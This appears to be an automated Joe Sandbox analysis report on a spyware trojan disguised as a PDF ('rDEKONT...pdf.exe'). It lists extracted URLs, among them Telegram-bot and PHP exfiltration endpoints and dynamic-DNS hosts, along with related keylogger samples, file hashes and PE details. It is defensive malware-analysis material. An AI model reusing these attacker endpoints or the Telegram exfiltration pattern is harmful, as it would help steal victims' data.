http://checkip.dyndns.org	rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.0000000003091000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.00000000040B1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:414408%0D%0ADate%20a	rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.0000000003178000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=	rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.0000000003178000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore?hl=en	rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.0000000003255000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.0000000003246000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.0000000003286000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.00000000040B1000.00000004.00000800.00020000.00000000.sdmp	false	high
http://varders.kozow.com:8081	rDEKONT-1_15_2025__75kb__pdf.exe, 00000000.00000002.2042995856.0000000004672000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4499590469.0000000000402000.00000040.00000400.00020000.00000000.sdmp, rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.0000000003091000.00000004.00000800.00020000.00000000.sdmp	false	high
http://aborters.duckdns.org:8081	rDEKONT-1_15_2025__75kb__pdf.exe, 00000000.00000002.2042995856.0000000004672000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4499590469.0000000000402000.00000040.00000400.00020000.00000000.sdmp, rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.0000000003091000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ac.ecosia.org/autocomplete?q=	rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.00000000040B1000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore?hl=enh	rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.0000000003246000.00000004.00000800.00020000.00000000.sdmp	false	high
http://anotherarmy.dns.army:8081	rDEKONT-1_15_2025__75kb__pdf.exe, 00000000.00000002.2042995856.0000000004672000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4499590469.0000000000402000.00000040.00000400.00020000.00000000.sdmp, rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.0000000003091000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.00000000040B1000.00000004.00000800.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org/q	rDEKONT-1_15_2025__75kb__pdf.exe, 00000000.00000002.2042995856.0000000004672000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4499590469.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore?hl=enlB	rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.0000000003250000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/8.46.123.189$	rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.0000000003178000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.0000000003151000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.000000000310C000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org	rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.0000000003178000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.00000000030E2000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.0000000003151000.00000004.00000800.00020000.00000000.sdmp	false	high
https://www.office.com/h	rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.0000000003277000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.0000000003091000.00000004.00000800.00020000.00000000.sdmp	false	high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4503950128.00000000040B1000.00000004.00000800.00020000.00000000.sdmp	false	high
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	rDEKONT-1_15_2025__75kb__pdf.exe, 00000000.00000002.2042995856.0000000004672000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4499590469.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/	rDEKONT-1_15_2025__75kb__pdf.exe, 00000000.00000002.2042995856.0000000004672000.00000004.00000800.00020000.00000000.sdmp, rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4499590469.0000000000402000.00000040.00000400.00020000.00000000.sdmp, rDEKONT-1_15_2025__75kb__pdf.exe, 00000003.00000002.4501375928.00000000030E2000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
193.122.6.168	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
104.21.96.1	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1591553
Start date and time:	2025-01-15 04:01:04 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	rDEKONT-1_15_2025__75kb__pdf.exe
Detection:	MAL
Classification:	mal100.troj.spyw.winEXE@3/1@3/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 205 Number of non-executed functions: 87
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.90.27, 4.175.87.197, 13.107.246.45, 172.202.163.200
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
22:01:55	API Interceptor	13697371x Sleep call for process: rDEKONT-1_15_2025__75kb__pdf.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	https://savory-sweet-felidae-psrnd.glitch.me/	Get hash	malicious	HTMLPhisher	Browse
	QUOTATION REQUIRED_Enatel s.r.l..exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Confirm Bank Statement.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse
	q9JZUaS1Gy.doc	Get hash	malicious	Unknown	Browse
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	12.exe	Get hash	malicious	Unknown	Browse
	12.exe	Get hash	malicious	Unknown	Browse
	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	slime crypted.exe	Get hash	malicious	MassLogger RAT	Browse
	ElixirInjector.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
193.122.6.168	mnXS9meqtB.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	checkip.dyndns.org/
	gGI2gVBI0f.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	ZpYFG94D4C.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	ZaRP7yvL1J.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	grrezORe7h.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	ty1nyFUMlo.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	prgNb8YFEA.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	fpIGwanLZi.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	ZoRLXzC5qF.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	6BRa130JDj.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	RFQ_AS0101402025.22025_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
	QUOTATION REQUIRED_Enatel s.r.l..exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	Confirm Bank Statement.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.64.1
	50201668.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.64.1
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	104.21.48.1
	MB263350411AE_1.scr.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.16.1
	ABG Draft.scr.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.64.1
	RENH3RE2025QUOTE.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.80.1
	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	104.21.16.1
	tN8GsMV1le.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.32.1
checkip.dyndns.com	RFQ_AS0101402025.22025_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	QUOTATION REQUIRED_Enatel s.r.l..exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	Confirm Bank Statement.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
	50201668.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	MB263350411AE_1.scr.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	193.122.130.0
	ABG Draft.scr.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	158.101.44.242
	RENH3RE2025QUOTE.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.247.73
	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	tN8GsMV1le.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.8.169
api.telegram.org	https://savory-sweet-felidae-psrnd.glitch.me/	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	QUOTATION REQUIRED_Enatel s.r.l..exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Confirm Bank Statement.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
	q9JZUaS1Gy.doc	Get hash	malicious	Unknown	Browse	149.154.167.220
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	12.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	slime crypted.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	ElixirInjector.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	149.154.167.220
	QUOTATION REQUIRED_Enatel s.r.l..bat.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ORACLE-BMC-31898US	RFQ_AS0101402025.22025_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	m68k.elf	Get hash	malicious	Unknown	Browse	193.122.239.186
	50201668.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	MB263350411AE_1.scr.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	193.122.130.0
	ABG Draft.scr.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	158.101.44.242
	http://ubiquitous-twilight-c9292b.netlify.app/	Get hash	malicious	Unknown	Browse	129.213.176.209
	slime crypted.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	MB263350411AE.scr.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	193.122.130.0
	Remittance Advice.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	SOA.scr.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	158.101.44.242
TELEGRAMRU	http://telenerh-ogjf.icu/	Get hash	malicious	Telegram Phisher	Browse	149.154.167.99
	http://telegroom-nzj.icu/	Get hash	malicious	Telegram Phisher	Browse	149.154.167.99
	https://ofmfy.icu/	Get hash	malicious	Unknown	Browse	149.154.167.99
	https://teiegtrm.cc/EN/	Get hash	malicious	Telegram Phisher	Browse	149.154.167.99
	https://teiegtrm.cc/apps.html	Get hash	malicious	Telegram Phisher	Browse	149.154.167.99
	https://teiegroj.cc/ZH/	Get hash	malicious	Telegram Phisher	Browse	149.154.167.99
	https://teiegroj.cc/apps.html	Get hash	malicious	Telegram Phisher	Browse	149.154.167.99
	https://teiegrvu.cc/VN/	Get hash	malicious	Telegram Phisher	Browse	149.154.170.96
	https://savory-sweet-felidae-psrnd.glitch.me/	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	QUOTATION REQUIRED_Enatel s.r.l..exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
CLOUDFLARENETUS	https://androiddatahost.com/sdsd3	Get hash	malicious	Unknown	Browse	104.21.80.92
	Final-Agreement-Document#808977735.pdf	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	EXTERNAL Your company's credit limit has changed!.msg	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://tvtsrilanka.com/Agrr/	Get hash	malicious	Unknown	Browse	104.18.11.207
	http://pub-35a1d927529e4c9684409537cf8ff63f.r2.dev/docu/e_protocol.html	Get hash	malicious	HTMLPhisher	Browse	172.66.0.235
	http://pub-3b43df3d08c6428eb75adaf661b4216f.r2.dev/docu/e_protocol.html	Get hash	malicious	HTMLPhisher	Browse	172.66.0.235
	http://pub-73e3a990093147c78a55ab4739ef17e5.r2.dev/docu/e_protocol.html	Get hash	malicious	HTMLPhisher	Browse	172.66.0.235
	http://industrious-tomato-ngvkcs.mystrikingly.com/	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://cdn.trytraffics.com/rdr/YWE9MzUyODAwODkxJnNlaT0zMDQ3NDU3NCZ0az1JR0doTXJGNXNpVnJBYzZkWlBUWSZ0PTUmYz05MGFzODc2ZmQ4OWFzNWZnOGEwOXM=	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://sreamconmymnltty.com/scerty/bliun/bolop	Get hash	malicious	Unknown	Browse	104.17.25.14

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	RFQ_AS0101402025.22025_PDF.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
	QUOTATION REQUIRED_Enatel s.r.l..exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	Confirm Bank Statement.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.96.1
	50201668.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	MB263350411AE_1.scr.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.96.1
	ABG Draft.scr.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.96.1
	RENH3RE2025QUOTE.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.96.1
	PI ITS15235.doc	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	104.21.96.1
	tN8GsMV1le.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.96.1
3b5074b1b5d032e5620f69f9f700ff0e	NLWfV87ouS.dll	Get hash	malicious	Wannacry	Browse	149.154.167.220
	542CxvZnI5.dll	Get hash	malicious	Virut, Wannacry	Browse	149.154.167.220
	https://cc68b94d-d9d0-4a03-bf37-d58a3335e1ce.p.reviewstudio.com/-/en/b/?_encoding=UTF8&_encoding=UTF8&node=3024314031&bbn=16435051&pd_rd_w=VSdHJ&content-id=amzn1.sym.01fcb23a-92a2-4260-b9bf-7c78abf408da&pf_rd_p=01fcb23a-92a2-4260-b9bf-7c78abf408da&pf_rd_r=E0WD16QK99B55VAWSKBQ&pd_rd_wg=EU3Lj&pd_rd_r=fd3510c2-a6e6-4f59-a468-c59aac80bfa9&ref_=pd_hp_d_btf_unk	Get hash	malicious	Unknown	Browse	149.154.167.220
	https://ziyahid.github.io/netflix-clone	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	http://pub-35a1d927529e4c9684409537cf8ff63f.r2.dev/docu/e_protocol.html	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	http://emeklilereozeldir.org/	Get hash	malicious	Unknown	Browse	149.154.167.220
	http://industrious-tomato-ngvkcs.mystrikingly.com/	Get hash	malicious	Unknown	Browse	149.154.167.220
	http://telegroom-nzj.icu/	Get hash	malicious	Telegram Phisher	Browse	149.154.167.220
	https://cdn.trytraffics.com/rdr/YWE9MzUyODAwODkxJnNlaT0zMDQ3NDU3NCZ0az1JR0doTXJGNXNpVnJBYzZkWlBUWSZ0PTUmYz05MGFzODc2ZmQ4OWFzNWZnOGEwOXM=	Get hash	malicious	Unknown	Browse	149.154.167.220
	https://sreamconmymnltty.com/scerty/bliun/bolop	Get hash	malicious	Unknown	Browse	149.154.167.220

Process:	C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	true
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.677501432774229
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	rDEKONT-1_15_2025__75kb__pdf.exe
File size:	854'016 bytes
MD5:	eba7ff0d3cb799af22795e1d3c55360c
SHA1:	e09436242af4a602b31b40571bebe468c229a4fb
SHA256:	701cc76315954f7e5e8b0fb36db44cdb6e6e40384be529670490523be1429d8f
SHA512:	61ff14d46ec42deafbbd978fde98f67accdb9ca84d884dd003a1c24015b540ecde40209eb0eee243a485e382e7ed8ee1d1feaaef3b3c5173a9919df5c52a6dc2
SSDEEP:	24576:76JN+UVsa/olbtDr4eD+Rq9B4of+mpZwobRUcx/LoB:O3+Ufq7+R6FpZjbBuB
TLSH:	F805D1C03B2A7311CEBCB534853ADCB9A2642E74B004B9E26EED2B5775DD113AA1DF44
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......g..............0.................. ... ....@.. .......................`............@................................

File Icon


Icon Hash:	0066b49631f8dc38

Static PE Info

General

Entrypoint:	0x4d0faa
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x6787061B [Wed Jan 15 00:49:31 2025 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
lodsd
fiadd word ptr [eax]
add bh, ch
mov esi, CAFE0000h
add byte ptr [eax], al
mov esi, 000000BAh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xd0f58	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xd2000	0x126c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xd4000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xcefc0	0xcf000	14a2ec87390fd5b67a0bf5c4d4ba1386	False	0.8775652456974637	PGP symmetric key encrypted data - Plaintext or unencrypted data	7.683784572394097	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xd2000	0x126c	0x1400	d8f247ecd110bafa6294ccdc426ee97e	False	0.7080078125	data	6.392924658263187	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xd4000	0xc	0x200	20b73237aeea3319bcd39ce4de41d234	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0xd2100	0xbdf	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9348469891411648
RT_GROUP_ICON	0xd2cf0	0x14	data	1.05
RT_VERSION	0xd2d14	0x358	data	0.4287383177570093
RT_MANIFEST	0xd307c	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
